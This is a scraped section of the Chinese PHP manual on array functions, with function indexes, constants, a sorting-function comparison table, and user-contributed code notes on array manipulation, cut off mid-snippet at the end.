    • array_push — 将一个或多个单元压入数组的末尾（入栈）
    • array_rand — 从数组中随机取出一个或多个单元
    • array_reduce — 用回调函数迭代地将数组简化为单一的值
    • array_replace_recursive — 使用传递的数组递归替换第一个数组的元素
    • array_replace — 使用传递的数组替换第一个数组的元素
    • array_reverse — 返回单元顺序相反的数组
    • array_search — 在数组中搜索给定的值，如果成功则返回首个相应的键名
    • array_shift — 将数组开头的单元移出数组
    • array_slice — 从数组中取出一段
    • array_splice — 去掉数组中的某一部分并用其它值取代
    • array_sum — 对数组中所有值求和
    • array_udiff_assoc — 带索引检查计算数组的差集，用回调函数比较数据
    • array_udiff_uassoc — 带索引检查计算数组的差集，用回调函数比较数据和索引
    • array_udiff — 用回调函数比较数据来计算数组的差集
    • array_uintersect_assoc — 带索引检查计算数组的交集，用回调函数比较数据
    • array_uintersect_uassoc — 带索引检查计算数组的交集，用单独的回调函数比较数据和索引
    • array_uintersect — 计算数组的交集，用回调函数比较数据
    • array_unique — 移除数组中重复的值
    • array_unshift — 在数组开头插入一个或多个单元
    • array_values — 返回数组中所有的值
    • array_walk_recursive — 对数组中的每个成员递归地应用用户函数
    • array_walk — 使用用户自定义函数对数组中的每个元素做回调处理
    • array — 新建一个数组
    • arsort — 对数组进行逆向排序并保持索引关系
    • asort — 对数组进行排序并保持索引关系
    • compact — 建立一个数组，包括变量名和它们的值
    • count — 计算数组中的单元数目，或对象中的属性个数
    • current — 返回数组中的当前单元
    • each — 返回数组中当前的键／值对并将数组指针向前移动一步
    • end — 将数组的内部指针指向最后一个单元
    • extract — 从数组中将变量导入到当前的符号表
    • in_array — 检查数组中是否存在某个值
    • key_exists — 别名 array_key_exists
    • key — 从关联数组中取得键名
    • krsort — 对数组按照键名逆向排序
    • ksort — 对数组按照键名排序
    • list — 把数组中的值赋给一组变量
    • natcasesort — 用“自然排序”算法对数组进行不区分大小写字母的排序
    • natsort — 用“自然排序”算法对数组排序
    • next — 将数组中的内部指针向前移动一位
    • pos — current 的别名
    • prev — 将数组的内部指针倒回一位
    • range — 根据范围创建数组，包含指定的元素
    • reset — 将数组的内部指针指向第一个单元
    • rsort — 对数组逆向排序
    • shuffle — 打乱数组
    • sizeof — count 的别名
    • sort — 对数组排序
    • uasort — 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联
    • uksort — 使用用户自定义的比较函数对数组中的键名进行排序
    • usort — 使用用户自定义的比较函数对数组中的值进行排序

User Contributed Notes

web at houhejie dot cn 06-Dec-2017 02:16
string2array($str):

$arr=json_decode('["fileno",["uid","uname"],"topingid",["touid",[1,2,[3,4]],"touname"]]');
print_r($arr);

output:
Array ( [0] => fileno [1] => Array ( [0] => uid [1] => uname ) [2] => topingid [3] => Array ( [0] => touid [1] => Array ( [0] => 1 [1] => 2 [2] => Array ( [0] => 3 [1] => 4 ) ) [2] => touname ) )

when I hope a function string2array($str), "spam2"  suggest this. and It works well~~~hope this helps us,  and add to the Array function list
gratcypalma at gmail dot com 09-Sep-2013 09:57
<?php
function foo() {
    return array('name' => 'palma', 'old' => 23, 'language' => 'PHP');
}
/* 1. PHP < 5.4.0 */
$a = foo();
var_dump($a['name']);

/* 2. Works ini PHP >= 5.4.0 */

var_dump(foo()['name']);

/*
When i run second method on PHP 5.3.8 i will be show error message "PHP Fatal error:  Can't use method return value in write context"

http://www.php.net/manual/en/migration54.new-features.php
*/
spereversev at envionsoftware dot com 10-Jul-2012 10:29
<?php
function array_mask(array $array, array $keys) {
    return array_intersect_key( $array, array_fill_keys( $keys, 0 ) );
}
?>

Might be helpful to take a part of associative array containing given keys, for example, from a $_REQUEST array

array_mask($_REQUEST, array('name', 'email'));
info at curtinsNOSPAMcreations dot com 05-Nov-2010 07:49
Another way to create a multidimensional array that looks a lot cleaner is to use json_decode.  (Note that this probably adds a touch of overhead, but it sure does look nicer.)  You can of course add as many levels and as much formatting as you'd like to the string you then decode.  Don't forget that json requires " around values, not '!!  (So, you can't enclose the json string with " and use ' inside the string.)

As an example:

<?php
    $myarray['blah'] = json_decode('[
        {"label":"foo","name":"baz"},
        {"label":"boop","name":"beep"}
    ]',true);

print_r($myarray)
?>
returns:

Array
(
    [blah] => Array
        (
            [0] => Array
                (
                    [label] => foo
                    [name] => baz
                )

            [1] => Array
                (
                    [label] => boop
                    [name] => beep
                )
        )
)
dragos dot rusu at NOSPAM dot bytex dot ro 07-Mar-2010 06:15
If an array item is declared with key as NULL, array key will automatically be converted to empty string '', as follows:

<?php
$a = array(
    NULL => 'zero',
    1    => 'one',
    2    => 'two');

// This will show empty string for key associated with "zero" value
var_dump(array_keys($a));

// Array elements are shown
reset($a);
while( key($a) !== NULL )
{
  echo key($a) . ": ".current($a) . "<br>";// PHP_EOL
  next($a);
}

// Array elements are not shown
reset($a);
while( key($a) != NULL ) // '' == null   => no iteration will be executed
{
  echo key($a) . ": ".current($a) . "<br>";// PHP_EOL
  next($a);
}
John Marc 15-Feb-2010 01:30
Be careful when adding elements to a numeric array.
I wanted to store some info about some items from a database and decided to use the record id as a key.

<?php
$key=3000000000;
$DATA[$key]=true;
?>

This will create an array of 30 million elements and chances are, you will use up all memory with these 2 lines

<?php
$key=3000000000;
$DATA["$key"]=true;
?>

This on the other hand will force the array to be an associative array and will only create the one element
sunear at gmail dot com 04-Aug-2009 10:45
Made this function to delete elements in an array;

<?php

function array_del_elm($input_array, $del_indexes) {
    if (is_array($del_indexes)) {
        $indexes = $del_indexes;
    } elseif(is_string($del_indexes)) {
        $indexes = explode($del_indexes, " ");
    } elseif(is_numeric($del_indexes)) {
        $indexes[0] = (integer)$del_indexes;
    } else return;
    $del_indexes = null;

    $cur_index = 0;
    if (sort($indexes)) for($i=0; $i<count($input_array); $i++) {
        if ($i == $indexes[$cur_index]) {
            $cur_index++;
            if ($cur_index == count($indexes)) return $output_array;
            continue;
        }
        $output_array[] = $input_array[$i];
    }
    return $output_array;
}

?>

but then i saw the methods of doing the same by Tyler Bannister & Paul, could see that theirs were faster, but had floors regarding deleting multiple elements thus support of several ways of giving parameters. I combined the two methods to this to this:

<?php

function array_del_elm($target_array, $del_indexes) {
    if (is_array($del_indexes)) {
        $indexes = $del_indexes;
    } elseif(is_string($del_indexes)) {
        $indexes = explode($del_indexes, " ");
    } elseif(is_numeric($del_indexes)) {
        $indexes[0] = (integer)$del_indexes;
    } else return;
    unset($del_indexes);

    for($i=0; $i<count($indexes); $i++) {
        unset($target_array[$indexes[$i]]);
    }
    return $target_array;
}

?>

Fast, compliant and functional ;)
Tyler Bannister 11-Jun-2009 06:59
To delete an individual array element use the unset function

For example:

<?PHP
    $arr = array( "A", "B", "C" );
    unset( $arr[1] );
    // now $arr = array( "A", "C" );
?>

Unlink is for deleting files.
thomasdecaux at ebuildy dot com 15-May-2009 01:14
To browse a simple array:

<?php

foreach ($myArray AS $myItem)
{

}

?>

To browse an associative array:

<?php

foreach ($myArray AS $key=>$value)
{

}

?>

http://www.ebuildy.com
macnimble at gmail dot com 27-Mar-2009 06:59
Converting a linear array (like a mysql record set) into a tree, or multi-dimensional array can be a real bugbear. Capitalizing on references in PHP, we can 'stack' an array in one pass, using one loop, like this:

<?php
# array_stack()
# Original idea from:
# http://www.ideashower.com/our_solutions/
#   create-a-parent-child-array-structure-in-one-pass/
function array_stack (&$a, $p = '@parent', $c = '@children')
{
  $l = $t = array();
  foreach ($a AS $key => $val):
    if (!$val[$p]) $t[$key] =& $l[$key];
    else $l[$val[$p]][$c][$key] =& $l[$key];
    $l[$key] = (array)$l[$key] + $val;
  endforeach;
  return $a = array('tree' => $t, 'leaf' => $l);
}

# Example:
$node = array();
$node[1] = array('@parent' => 0, 'title' => 'I am node 1.');
#     ^-----------------------v Link @parent value to key.
$node[2] = array('@parent' => 1, 'title' => 'I am node 2.');
$node[3] = array('@parent' => 2, 'title' => 'I am node 3.');
$node[4] = array('@parent' => 1, 'title' => 'I am node 4.');
$node[5] = array('@parent' => 4, 'title' => 'I am node 5.');

array_stack($node);

$node['leaf'][1]['title'] = 'I am node one.';
$node['leaf'][2]['title'] = 'I am node two.';
$node['leaf'][3]['title'] = 'I am node three.';
$node['leaf'][4]['title'] = 'I am node four.';
$node['leaf'][5]['title'] = 'I am node five.';

echo '<pre>',print_r($node['tree'],TRUE),'</pre>';
?>

Note that there's no parameter checking on the array value, but this is only to keep the function size small. One could easily a quick check in there to make sure the $a parameter was in fact an array.

Hope you find it useful. Huge thanks to Nate Weiner of IdeaShower.com for providing the original function I built on.
andyd273 at gmail dot com 24-Feb-2009 01:12
A small correction to Endel Dreyer's PHP array to javascript array function. I just changed it to show keys correctly:

            function array2js($array,$show_keys)
            {
                $dimensoes = array();
                $valores = array();

                $total = count ($array)-1;
                $i=0;
                foreach($array as $key=>$value){
                    if (is_array($value)) {
                        $dimensoes[$i] = array2js($value,$show_keys);
                        if ($show_keys) $dimensoes[$i] = '"'.$key.'":'.$dimensoes[$i];
                    } else {
                        $dimensoes[$i] = '"'.addslashes($value).'"';
                        if ($show_keys) $dimensoes[$i] = '"'.$key.'":'.$dimensoes[$i];
                    }
                    if ($i==0) $dimensoes[$i] = '{'.$dimensoes[$i];
                    if ($i==$total) $dimensoes[$i].= '}';
                    $i++;
                }
                return implode(',',$dimensoes);
            }
Anonymous 26-Nov-2008 10:36
@jorge at andrade dot cl
This variant is faster:
<?php
function array_avg($array,$precision=2){
    if(!is_array($array))
        return 'ERROR in function array_avg(): this is a not array';

    foreach($array as $value)
        if(!is_numeric($value))
            return 'ERROR in function array_avg(): the array contains one or more non-numeric values';

    $cuantos=count($array);
  return round(array_sum($array)/$cuantos,$precision);
}
?>
webmaster at infoproducts dot x10hosting dot com 10-Oct-2008 07:13
New value can also be added to the array as shown below.
$theVariable["google"] = "http//google.com";
or
$theVariable["1"] = "http//google.com";
Jack A 07-Oct-2008 08:14
Note that arrays are not allowed in class constants and trying to do so will throw a fatal error.
contact at greyphoenix dot biz 30-Jun-2008 09:36
<?php
//Creating a multidimensional array

$theVariable = array("Search Engines" =>
array (
    0=> "http//google.com",
    1=> "http//yahoo.com",
    2=> "http//msn.com/"),

"Social Networking Sites" =>
array (
    0 => "http//www.facebook.com",
    1 => "http//www.myspace.com",
    2 => "http//vkontakte.ru",)
);

echo "The first array value is " . $theVariable['Search Engines'][0];
?>

-- Output--
The first array value is http://google.com
applegrew at rediffmail dot com 28-May-2008 08:23
For newbies like me.

Creating new arrays:-
//Creates a blank array.
$theVariable = array();

//Creates an array with elements.
$theVariable = array("A", "B", "C");

//Creating Associaive array.
$theVariable = array(1 => "http//google.com", 2=> "http://yahoo.com");

//Creating Associaive array with named keys
$theVariable = array("google" => "http//google.com", "yahoo"=> "http://yahoo.com");

Note:
New value can be added to the array as shown below.
$theVariable[] = "D";
$theVariable[] = "E";


简介

这些函数允许你通过不同的方式来使用和操作数组。数组是存储、管理和操作变量组的必不可少的工具。

PHP 支持简单数组和多维数组，数组可由用户自己创建也可以由其它函数创建。有很多特殊的数据库处理函数可以从数据库查询中返回数组以及一些返回数组的函数。

请参考手册中有关数组的章节来详细了解 PHP 中数组是如何实现及使用的。也可以参考 数组操作符来了解操作数组的一些其它方式。

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量作为 PHP 核心的一部分总是可用的。

CASE_LOWER (integer)
CASE_LOWER 用在 array_change_key_case() 中将数组的键名转换成小写字母。这也是 array_change_key_case() 的默认值。
CASE_UPPER (integer)
CASE_UPPER 用在 array_change_key_case() 中将数组的键名转换成大写字母。

排序顺序标识：

SORT_ASC (integer)
SORT_ASC 用在 array_multisort() 函数中，使其升序排列。
SORT_DESC (integer)
SORT_DESC 用在 array_multisort() 函数中，使其降序排列。

排序类型标识：用于各种排序函数

SORT_REGULAR (integer)
SORT_REGULAR 用于对对象进行通常比较。
SORT_NUMERIC (integer)
SORT_NUMERIC 用于对对象进行数值比较。
SORT_STRING (integer)
SORT_STRING 用于对对象进行字符串比较。
SORT_LOCALE_STRING (integer)
SORT_LOCALE_STRING 基于当前区域来对对象进行字符串比较。PHP 4.4.0 和 5.0.2 新加。

COUNT_NORMAL (integer)
COUNT_RECURSIVE (integer)
EXTR_OVERWRITE (integer)
EXTR_SKIP (integer)
EXTR_PREFIX_SAME (integer)
EXTR_PREFIX_ALL (integer)
EXTR_PREFIX_INVALID (integer)
EXTR_PREFIX_IF_EXISTS (integer)
EXTR_IF_EXISTS (integer)
EXTR_REFS (integer)

User Contributed Notes

There are no user contributed notes for this page.


对数组进行排序

PHP 有一些用来排序数组的函数， 这个文档会把它们列出来。

主要区别有：

  • 有些函数基于 array 的键来排序， 而其他的基于值来排序的：$array['key'] = 'value';。
  • 排序之后键和值之间的关联关系是否能够保持， 是指排序之后数组的键可能 会被重置为数字型的（0,1,2 ...）。
  • 排序的顺序有：字母表顺序， 由低到高（升序）， 由高到低（降序），数字排序，自然排序，随机顺序或者用户自定义排序。
  • 注意：下列的所有排序函数都是直接作用于数组本身， 而不是返回一个新的有序的数组。
  • 以下函数对于数组中相等的元素，它们在排序后的顺序是未定义的。 （也即相等元素之间的顺序是不稳定的）。

排序函数属性
函数名称 | 排序依据 | 数组索引键保持 | 排序的顺序 | 相关函数
array_multisort() | 值 | 键值关联的保持，数字类型的不保持 | 第一个数组或者由选项指定 | array_walk()
asort() | 值 | 是 | 由低到高 | arsort()
arsort() | 值 | 是 | 由高到低 | asort()
krsort() | 键 | 是 | 由高到低 | ksort()
ksort() | 键 | 是 | 由低到高 | asort()
natcasesort() | 值 | 是 | 自然排序，大小写不敏感 | natsort()
natsort() | 值 | 是 | 自然排序 | natcasesort()
rsort() | 值 | 否 | 由高到低 | sort()
shuffle() | 值 | 否 | 随机 | array_rand()
sort() | 值 | 否 | 由低到高 | rsort()
uasort() | 值 | 是 | 由用户定义 | uksort()
uksort() | 键 | 是 | 由用户定义 | uasort()
usort() | 值 | 否 | 由用户定义 | uasort()

User Contributed Notes

roger dot vermeir at nokia dot com 18-Jul-2019 03:32
I tend to use the following code for adding a sort on the keys when different values have the same key:

<?php
$arr = array();
$res = $db->query("some sql");
while ($row = $res->fetchRow()) {
  $key = trim($row[0]);    // I know... 'colname' is better
  $value = trim($row[1]);
  $arr[$key] = $value . "_" . sprintf('%09d', $key);    // number
}
arsort($arr);
foreach ($arr as $key=>$value_and_key) {
  list($value, $dummykey) = explode("_", $value_and_key);
  echo "$key and $value";  // reverse sorted by value, then key
}
?>

Appending the key to the value makes arsort a kind of dual sort.
No need for extra user-defined functions...
Roger Vermeir
luca at lauretta dot info 12-Sep-2018 03:47
If you're looking for a quick solution to make usort stable, you could use uksort like in the following example:

<?php

uksort($array, function ($ak, $bk) use ($array) {
    $a = $array[$ak];
    $b = $array[$bk];
    if ($a['foo'] === $b['foo']) return $ak - $bk;
    return $a['foo'] > $b['foo'] ? 1 : -1;
});

?>

This works as expected only if the initial indices (keys) of $array are in ascending order.
bizarrus at icloud dot com 30-Jun-2018 12:05
If you wan't to sort JSON based data or an multidimensional object (ascending or descending), you must fetch the array/object keys for sorting - After a sort, you can build a new Object with the correct sorting.

**Example Data:**
<?php
    $json = [
        'nameZ' => [
            'A' => true,
            'F'    => true,
            'K'    => true
        ],
        'nameU' => 'Hello World!',
        'nameA' => [
            'subData' => [
                'resultX' => 1,
                'resultB' => 4,
                'resultI' => 6
            ]
        ],
        'nameK' => [
            'testing' => true
        ],
    ];
?>

**Function:**
<?php
    function json_sort(&$json, $ascending = true) {
        $names = [];

        // Creating a named array for sorting
        foreach($json AS $name => $value) {
            $names[] = $name;
        }

        if($ascending) {
            asort($names);
        } else {
            arsort($names);
        }

        $result = [];

        foreach($names AS $index => $name) {
            // Sorting Sub-Data
            if(is_array($json[$name]) || is_object($json[$name])) {
                json_sort($json[$name], $ascending);
            }

            $result[$name] = $json[$name];
        }

        $json = $result;
    }
?>

**Usage:**
<?php
    json_sort($json, true); // Ascending order
    print_r($json);
?>

or

<?php
    json_sort($json, false); // Descending order
    print_r($json);
?>

I had written these method for generating HashValues for an API-Request. The HTTP-Request POST the JSON-Data as Body and over GET-Parameter, an digest/token will be appended to validate the JSON-Data (prevent manipulation of the JSON Data).
Hayley Watson 24-Sep-2016 10:55
Stabilizing the sort functions (in this case, usort).

<?php
function stable_usort(&$array, $cmp)
{
    $i = 0;
    $array = array_map(function($elt)use(&$i)
    {
        return [$i++, $elt];
    }, $array);
    usort($array, function($a, $b)use($cmp)
    {
        return $cmp($a[1], $b[1]) ?: ($a[0] - $b[0]);
    });
    $array = array_column($array, 1);
}
?>

Tags each array element with its original position in the array so that when the comparison function returns 0 the tie can be broken to put the earlier element first.
monicse09ku at yahoo dot com 25-Jun-2015 06:57
// takes an array and desired key value and returns an array
// searches through an array for a given key, if found the key that row is made the first row and the other rows are inserted accordingly.
// the facility of this function is to get the value with a specific key of an array as the first value.

/////////////////////////////// function starts //////////////////////////////

function dksort($array, $case){
    if(array_key_exists($case,$array)){
        $a[$case] = $array[$case];
        foreach($array as $key=>$val){
            if($case==$key){

            }else{
                $a[$key] = $array[$key];
            }
        }
    }

    return $a;
}

$d = array(
            '22'=>'jdfhgjfd',
            '33'=>'jdfhgjfd',
            '11'=>'jrtyrjfd',
            '55'=>'jrtydairjfd',
            '77'=>'jopo',
            '99'=>'jrtasajfd',
            '44'=>'jopasdwo',
            '88'=>'hdgatyuyuiuy'
            );

$c = dksort($d, '55');
print_r($c);

////////////////////////// function ends ////////////////////////////////////////
Mssler 23-Jun-2015 09:56
simple example sorting dotted version numbers

     function sortByVersionnumber($a,$b){
         $ta=explode(".",$a); $tb=explode(".",$b);
         foreach ($ta as $k => $v){
             if (isset($tb[$k])){
                 if($ta[$k] > $tb[$k]) {
                     return 1;
                 } elseif($ta[$k] < $tb[$k]) {
                     return -1;
                 }
             }
         }
         return 0;
     }
     function vnksort(&$array){
         uksort($array ,"sortByVersionnumber");
     }
&#34;Matthew Rice&#34; 17-May-2013 08:28
While this may seem obvious, user-defined array sorting functions ( uksort(), uasort(), usort() ) will *not* be called if the array does not have *at least two values in it*.

The following code:

<?php

function usortTest($a, $b) {
    var_dump($a);
    var_dump($b);
    return -1;
}

$test = array('val1');
usort($test, "usortTest");

$test2 = array('val2', 'val3');
usort($test2, "usortTest");

?>

Will output:

string(4) "val3"
string(4) "val2"

The first array doesn't get sent to the function.

Please, under no circumstance, place any logic that modifies values, or applies non-sorting business logic in these functions as they will not always be executed.
oculiz at gmail dot com 12-Mar-2011 09:57
Another way to do a case case-insensitive sort by key would simply be:

<?php
uksort($array, 'strcasecmp');
?>

Since strcasecmp is already predefined in php it saves you the trouble to actually write the comparison function yourself.


数组 函数

参见

参考 is_array(), explode(),
implode(), split(),
preg_split(), and unset().

Table of Contents

  • array_change_key_case — 将数组中的所有键名修改为全大写或小写
  • array_chunk — 将一个数组分割成多个
  • array_column — 返回数组中指定的一列
  • array_combine — 创建一个数组，用一个数组的值作为其键名，另一个数组的值作为其值
  • array_count_values — 统计数组中所有的值
  • array_diff_assoc — 带索引检查计算数组的差集
  • array_diff_key — 使用键名比较计算数组的差集
  • array_diff_uassoc — 用用户提供的回调函数做索引检查来计算数组的差集
  • array_diff_ukey — 用回调函数对键名比较计算数组的差集
  • array_diff — 计算数组的差集
  • array_fill_keys — 使用指定的键和值填充数组
  • array_fill — 用给定的值填充数组
  • array_filter — 用回调函数过滤数组中的单元
  • array_flip — 交换数组中的键和值
  • array_intersect_assoc — 带索引检查计算数组的交集
  • array_intersect_key — 使用键名比较计算数组的交集
  • array_intersect_uassoc — 带索引检查计算数组的交集，用回调函数比较索引
  • array_intersect_ukey — 用回调函数比较键名来计算数组的交集
  • array_intersect — 计算数组的交集
  • array_key_exists — 检查数组里是否有指定的键名或索引
  • array_key_first — Gets the first key of an array
  • array_key_last — Gets the last key of an array
  • array_keys — 返回数组中部分的或所有的键名
  • array_map — 为数组的每个元素应用回调函数
  • array_merge_recursive — 递归地合并一个或多个数组
  • array_merge — 合并一个或多个数组
  • array_multisort — 对多个数组或多维数组进行排序
  • array_pad — 以指定长度将一个值填充进数组
  • array_pop — 弹出数组最后一个单元（出栈）
  • array_product — 计算数组中所有值的乘积
  • array_push — 将一个或多个单元压入数组的末尾（入栈）
  • array_rand — 从数组中随机取出一个或多个单元
  • array_reduce — 用回调函数迭代地将数组简化为单一的值
  • array_replace_recursive — 使用传递的数组递归替换第一个数组的元素
  • array_replace — 使用传递的数组替换第一个数组的元素
  • array_reverse — 返回单元顺序相反的数组
  • array_search — 在数组中搜索给定的值，如果成功则返回首个相应的键名
  • array_shift — 将数组开头的单元移出数组
  • array_slice — 从数组中取出一段
  • array_splice — 去掉数组中的某一部分并用其它值取代
  • array_sum — 对数组中所有值求和
  • array_udiff_assoc — 带索引检查计算数组的差集，用回调函数比较数据
  • array_udiff_uassoc — 带索引检查计算数组的差集，用回调函数比较数据和索引
  • array_udiff — 用回调函数比较数据来计算数组的差集
  • array_uintersect_assoc — 带索引检查计算数组的交集，用回调函数比较数据
  • array_uintersect_uassoc — 带索引检查计算数组的交集，用单独的回调函数比较数据和索引
  • array_uintersect — 计算数组的交集，用回调函数比较数据
  • array_unique — 移除数组中重复的值
  • array_unshift — 在数组开头插入一个或多个单元
  • array_values — 返回数组中所有的值
  • array_walk_recursive — 对数组中的每个成员递归地应用用户函数
  • array_walk — 使用用户自定义函数对数组中的每个元素做回调处理
  • array — 新建一个数组
  • arsort — 对数组进行逆向排序并保持索引关系
  • asort — 对数组进行排序并保持索引关系
  • compact — 建立一个数组，包括变量名和它们的值
  • count — 计算数组中的单元数目，或对象中的属性个数
  • current — 返回数组中的当前单元
  • each — 返回数组中当前的键／值对并将数组指针向前移动一步
  • end — 将数组的内部指针指向最后一个单元
  • extract — 从数组中将变量导入到当前的符号表
  • in_array — 检查数组中是否存在某个值
  • key_exists — 别名 array_key_exists
  • key — 从关联数组中取得键名
  • krsort — 对数组按照键名逆向排序
  • ksort — 对数组按照键名排序
  • list — 把数组中的值赋给一组变量
  • natcasesort — 用“自然排序”算法对数组进行不区分大小写字母的排序
  • natsort — 用“自然排序”算法对数组排序
  • next — 将数组中的内部指针向前移动一位
  • pos — current 的别名
  • prev — 将数组的内部指针倒回一位
  • range — 根据范围创建数组，包含指定的元素
  • reset — 将数组的内部指针指向第一个单元
  • rsort — 对数组逆向排序
  • shuffle — 打乱数组
  • sizeof — count 的别名
  • sort — 对数组排序
  • uasort — 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联
  • uksort — 使用用户自定义的比较函数对数组中的键名进行排序
  • usort — 使用用户自定义的比较函数对数组中的值进行排序

User Contributed Notes

indioeuropeo at driverop dot com 27-May-2019 02:27
I need to take an element from the Array and change its position within the Array by moving the rest of the elements as required.
This is the function that does it. The first parameter is the working Array. The second is the position of the element to move and the third is the position where to move the element.
The function returns the modified Array.
<?php
function array_move_elem($array, $from, $to) {
    if ($from == $to) { return $array; }
    $c = count($array);
    if (($c > $from) and ($c > $to)) {
        if ($from < $to) {
            $f = $array[$from];
            for ($i = $from; $i < $to; $i++) {
                $array[$i] = $array[$i+1];
            }
            $array[$to] = $f;
        } else {
            $f = $array[$from];
            for ($i = $from; $i > $to; $i--) {
                $array[$i] = $array[$i-1];
            }
            $array[$to] = $f;
        }

    }
    return $array;
}

?>
Examples:
<?php
$array = array('Cero','Uno','Dos','Tres','Cuatro','Cinco','Seis','Siete','Ocho','Nueve','Diez');
$array = array_move_elem($array, 3, 5); // Move element in position 3 to position 5...
print_r($array);

$array = array_move_elem($array, 5, 3); // Move element in position 5 to position 3, leaving array as it was... ;)
print_r($array);

?>
Return:
<?php
Array ( [0] => Cero [1] => Uno [2] => Dos [3] => Cuatro [4] => Cinco [5] => Tres [6] => Seis [7] => Siete [8] => Ocho [9] => Nueve [10] => Diez )
Array ( [0] => Cero [1] => Uno [2] => Dos [3] => Tres [4] => Cuatro [5] => Cinco [6] => Seis [7] => Siete [8] => Ocho [9] => Nueve [10] => Diez )
?>
permanovd at gmail dot com 21-Jun-2018 10:18
A simple trick that can help you to guess what diff/intersect or sort function does by name.

[suffix] assoc - additional index check. Compares both value and index.

Example: array_diff_assoc, array_intersect_assoc.

[suffix] key - index only check. Ignores value of array, compares only indexes.

Example: array_diff_key, array_intersect_key.

[suffix] **empty** - no "key" or "assoc" word in suffix. Compares values only. Ignores indexes of array.

Example: array_diff, array_intersect.

[prefix] u - will do comparison with user defined function. Letter u can be used twice in some functions (like array_udiff_uassoc), this means that you have to use 2 functions (one for value, one for index).

Example: array_udiff_uassoc, array_uintersect_assoc.

This also works with array sort functions:

[prefix] a - associative. Will preserve keys.

Example: arsort, asort.

[prefix] k - key sort. Will sort array by keys.

Example: uksort, ksort.

[prefix] r - reverse. Will sort array in reverse order.

Example: rsort, krsort.

[prefix] u - sort by user defined function (same as for diff/intersect).

Example: usort, uasort.
DamianKaelGreen at gmail dot com 06-May-2017 04:42
While there are a lot of array functions in the PHP libs, there also seem to be a lot of rudimentary ones missing.

I went ahead and created several of my own functions for handling multiple non-associative (na) arrays including:

na_array_merge
na_array_intersect
na_array_diff
na_array_xnor
na_array_xor

If you are using Venn diagrams to think about your arrays, then these functions might be for you.

I have made them available and posted documentation for them here: https://www.greendingle.com/some-useful-non-associative-array-functions/
Ewan 28-Feb-2017 10:49
I was looking for an array aggregation function here and ended up writing this one.

Note: This implementation assumes that none of the fields you're aggregating on contain The '@' symbol.

<?php
  function array_group_by($flds, $arr) {
    $groups = array();
    foreach ($arr as $rec) {
      $keys = array_map(function($f) use($rec) { return $rec[$f]; }, $flds);
      $k = implode('@', $keys);
      if (isset($groups[$k])) {
        $groups[$k][] = $rec;
      } else {
        $groups[$k] = array($rec);
      }
    }
    return $groups;
  }

?>
nicoolasens at gmail dot com 06-Nov-2015 10:15
/*to change an index without rewriting the whole table and leave at the same place.
*/
<?php
function change_index(&$tableau, $old_key, $new_key) {
    $changed = FALSE;
    $temp = 0;
    foreach ($tableau as $key => $value) {
        switch ($changed) {
            case FALSE :
                //creates the new key and deletes the old
                if ($key == $old_key) {
                    $tableau[$new_key] = $tableau[$old_key];
                    unset($tableau[$old_key]);
                    $changed = TRUE;
                }
                break;

            case TRUE :
                //moves following keys
                if ($key != $new_key){
                $temp= $tableau[$key];
                unset($tableau[$key]);
                $tableau[$key] = $temp;
                break;
                }
                else {$changed = FALSE;} //stop
        }
    }
    array_values($tableau); //free_memory
}

//Result :
$tableau = array(1, 2 , 3, 4,5, 6, 7, 8, 9, 10);
$res = print_r($tableau, TRUE);
$longueur = strlen($res) -1;
echo "Old array :\n" . substr($res, 8, $longueur) . "\n" ;

change_index ($tableau, 2, 'number 2');
$res = print_r($tableau, TRUE);
$longueur = strlen($res) -10;
echo "New array :\n" . substr($res, 8, $longueur) . "\n" ;

/*
Old array :
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
    [4] => 5
    [5] => 6
    [6] => 7
    [7] => 8
    [8] => 9
    [9] => 10
)

New array :
    [0] => 1
    [1] => 2
    [numéro 2] => 3
    [3] => 4
    [4] => 5
    [5] => 6
    [6] => 7
    [7] => 8
    [8] => 9
    [9] => 10
*/
?>
callmeanaguma at gmail dot com 18-Jan-2013 11:30
If you need to flattern two-dismensional array with single values assoc subarrays, you could use this function:

<?php
function arrayFlatten($array) {
        $flattern = array();
        foreach ($array as $key => $value){
            $new_key = array_keys($value);
            $flattern[] = $value[$new_key[0]];
        }
        return $flattern;
}
?>
kolkabes at googlemail dot com 05-May-2012 12:31
Short function for making a recursive array copy while cloning objects on the way.

<?php
function arrayCopy( array $array ) {
        $result = array();
        foreach( $array as $key => $val ) {
            if( is_array( $val ) ) {
                $result[$key] = arrayCopy( $val );
            } elseif ( is_object( $val ) ) {
                $result[$key] = clone $val;
            } else {
                $result[$key] = $val;
            }
        }
        return $result;
}
?>
dave at davidhbrown dot us 24-Sep-2011 11:57
While PHP has well over three-score array functions, array_rotate is strangely missing as of PHP 5.3. Searching online offered several solutions, but the ones I found have defects such as inefficiently looping through the array or ignoring keys.

The following array_rotate() function uses array_merge and array_shift to reliably rotate an array forwards or backwards, preserving keys. If you know you can trust your $array to be an array and $shift to be between 0 and the length of your array, you can skip the function definition and use just the return expression in your code.

<?php
function array_rotate($array, $shift) {
    if(!is_array($array) || !is_numeric($shift)) {
        if(!is_array($array)) error_log(__FUNCTION__.' expects first argument to be array; '.gettype($array).' received.');
        if(!is_numeric($shift)) error_log(__FUNCTION__.' expects second argument to be numeric; '.gettype($shift)." `$shift` received.");
        return $array;
    }
    $shift %= count($array); //we won't try to shift more than one array length
    if($shift < 0) $shift += count($array);//handle negative shifts as positive
    return array_merge(array_slice($array, $shift, NULL, true), array_slice($array, 0, $shift, true));
}
?>
A few simple tests:
<?php
$array=array("foo"=>1,"bar"=>2,"baz"=>3,4,5);

print_r(array_rotate($array, 2));
print_r(array_rotate($array, -2));
print_r(array_rotate($array, count($array)));
print_r(array_rotate($array, "4"));
print_r(array_rotate($array, -9));
?>
oliverSPAMMENOT at e-geek dot com dot au 22-Mar-2010 07:28
Function to pretty print arrays and objects. Detects object recursion and allows setting a maximum depth. Based on arraytostring and u_print_r from the print_r function notes. Should be called like so:

<?php
egvaluetostring($value)   //no max depth, or
egvaluetostring($value, $max_depth)   //max depth set

function egvaluetostring($value, $max_depth, $key = NULL, $depth = 0, $refChain = array()) {
  if($depth > 0)
    $tab = str_repeat("\t", $depth);
  $text .= $tab . ($key !== NULL ? $key . " => " : "");

  if (is_array($value) || is_object($value)) {
    $recursion = FALSE;
    if (is_object($value)) {
      foreach ($refChain as $refVal) {
        if ($refVal === $value) {
          $recursion = TRUE;
          break;
        }
      }
      array_push($refChain, $value);
    }

    $text .= (is_array($value) ? "array" : "object") . " ( ";

    if ($recursion) {
      $text .= "*RECURSION* ";
